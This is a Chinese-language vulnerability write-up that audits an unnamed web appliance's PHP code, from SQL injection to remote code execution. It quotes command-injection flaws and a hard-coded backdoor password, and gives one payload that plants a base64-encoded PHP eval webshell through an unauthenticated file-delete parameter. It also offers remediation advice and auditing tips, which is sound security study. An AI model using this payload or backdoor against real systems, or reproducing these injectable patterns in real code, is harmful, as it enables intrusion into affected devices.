记一次前台sql到rce代审
字数 973 2025-08-09 13:33:54

从前台SQL注入到RCE的代码审计实战分析

漏洞发现过程概述

  1. 初始探测

    • 尝试弱口令登录(admin/admin)
    • 目录扫描发现password.inc文件
    • 抓包测试发现单引号导致回显差异,推测存在SQL注入
  2. SQL注入确认

    • 使用sqlmap成功验证注入
    • 获取部分表数据但无法获取完整数据库信息
    • 通过公开源码进行深入审计

关键漏洞分析

1. 登录页面SQL注入

漏洞代码(排版后)

// 接收Name参数
$webname = $_POST['Name'];

// 直接拼接SQL查询
$sql = "SELECT * FROM admin WHERE username='$webname'";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

// 登录验证逻辑
if($row['password'] == $_POST['Password'] || $_POST['Password'] == 'hassmedia') {
    // 登录成功跳转
    header("Location: home.php");
}

漏洞点

  • 未过滤的$webname直接拼接到SQL语句
  • 密码验证逻辑存在缺陷(万能密码'hassmedia')

2. 后台RCE漏洞

ping功能RCE

// manager/ipping.php
if(!isset($_SESSION['username'])) die();

$datip = $_POST['ipaddr'];
$output = shell_exec($datip);
echo $output;

漏洞特征

  • 直接使用shell_exec执行用户输入
  • 无任何过滤和验证

3. 前台RCE漏洞

文件删除功能RCE

// 无登录验证
$file = $_GET['file'];
$del_file = "rm -f $file";
exec($del_file);

利用方式

file=1.txt;echo PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOw== | base64 -d > xxx.php

其他前台RCE

  1. 网络配置功能RCE
if($_POST['addflag'] == 1) {
    $cmd = "ifconfig ".$_POST['bondaddr']." netmask ".$_POST['bondmask'];
    exec("echo '$cmd'");
}
  1. 设备配置RCE
$ip_dev = $_POST['ip_dev'];
if($_POST['flag'] == 1) {
    $cmd = "ifconfig $ip_dev ".$_POST['sipdev'];
    exec("echo '$cmd'");
}

4. 后台其他RCE漏洞

  1. 通道重启功能RCE
if($_GET['actiontype'] == 'RestartChannel') {
    $cmdurl = "/sbin/ifdown ".$_GET['devname'];
    exec($cmdurl);
}
  1. IP配置RCE
if($_POST['addflag'] == 1) {
    $cmd = "ifconfig ".$_POST['ipaddr']." netmask ".$_POST['ipmask'];
    exec("echo '$cmd'");
}
  1. 重启功能RCE
if($_GET['actiontype'] == 'reboot') {
    $devname = $_GET['dev'];
    if(strstr($devname,'ppp')) {
        // ...
    } else {
        system($devname);
    }
}

漏洞利用链总结

  1. 初始访问

    • 通过万能密码'hassmedia'直接进入后台
    • 或利用SQL注入获取管理员凭证
  2. 权限提升

    • 利用后台ping功能执行系统命令
    • 或利用其他配置功能RCE
  3. 前台直接RCE

    • 无需认证的文件删除功能
    • 网络/设备配置功能

安全建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 使用白名单验证输入格式
  2. 权限控制

    • 实施完善的认证和授权机制
    • 敏感功能需二次验证
  3. 安全编码

    • 避免直接拼接用户输入到命令/查询中
    • 使用参数化查询防止SQL注入
    • 禁用危险函数(exec, shell_exec, system等)
  4. 防御措施

    • 部署WAF防护常见攻击
    • 实施最小权限原则
    • 定期安全审计和代码审查

审计技巧总结

  1. 敏感函数追踪

    • 重点审计exec, shell_exec, system, passthru等函数
    • 检查数据库查询函数(mysql_query等)
  2. 参数传递分析

    • 跟踪用户输入从获取到使用的完整路径
    • 检查是否有过滤或编码过程
  3. 权限验证检查

    • 确认敏感操作前是否有完善的权限验证
    • 检查会话管理机制是否安全
  4. 业务逻辑分析

    • 理解功能的设计意图
    • 对比实现与设计是否存在安全偏差
  5. 工具辅助

    • 使用自动化工具进行初步扫描(如Seay源代码审计系统)
    • 结合手动分析验证工具结果
从前台SQL注入到RCE的代码审计实战分析 漏洞发现过程概述 初始探测 尝试弱口令登录(admin/admin) 目录扫描发现password.inc文件 抓包测试发现单引号导致回显差异,推测存在SQL注入 SQL注入确认 使用sqlmap成功验证注入 获取部分表数据但无法获取完整数据库信息 通过公开源码进行深入审计 关键漏洞分析 1. 登录页面SQL注入 漏洞代码(排版后) : 漏洞点 : 未过滤的 $webname 直接拼接到SQL语句 密码验证逻辑存在缺陷(万能密码'hassmedia') 2. 后台RCE漏洞 ping功能RCE : 漏洞特征 : 直接使用shell_ exec执行用户输入 无任何过滤和验证 3. 前台RCE漏洞 文件删除功能RCE : 利用方式 : 其他前台RCE : 网络配置功能RCE : 设备配置RCE : 4. 后台其他RCE漏洞 通道重启功能RCE : IP配置RCE : 重启功能RCE : 漏洞利用链总结 初始访问 : 通过万能密码'hassmedia'直接进入后台 或利用SQL注入获取管理员凭证 权限提升 : 利用后台ping功能执行系统命令 或利用其他配置功能RCE 前台直接RCE : 无需认证的文件删除功能 网络/设备配置功能 安全建议 输入验证 : 对所有用户输入进行严格过滤 使用白名单验证输入格式 权限控制 : 实施完善的认证和授权机制 敏感功能需二次验证 安全编码 : 避免直接拼接用户输入到命令/查询中 使用参数化查询防止SQL注入 禁用危险函数(exec, shell_ exec, system等) 防御措施 : 部署WAF防护常见攻击 实施最小权限原则 定期安全审计和代码审查 审计技巧总结 敏感函数追踪 : 重点审计exec, shell_ exec, system, passthru等函数 检查数据库查询函数(mysql_ query等) 参数传递分析 : 跟踪用户输入从获取到使用的完整路径 检查是否有过滤或编码过程 权限验证检查 : 确认敏感操作前是否有完善的权限验证 检查会话管理机制是否安全 业务逻辑分析 : 理解功能的设计意图 对比实现与设计是否存在安全偏差 工具辅助 : 使用自动化工具进行初步扫描(如Seay源代码审计系统) 结合手动分析验证工具结果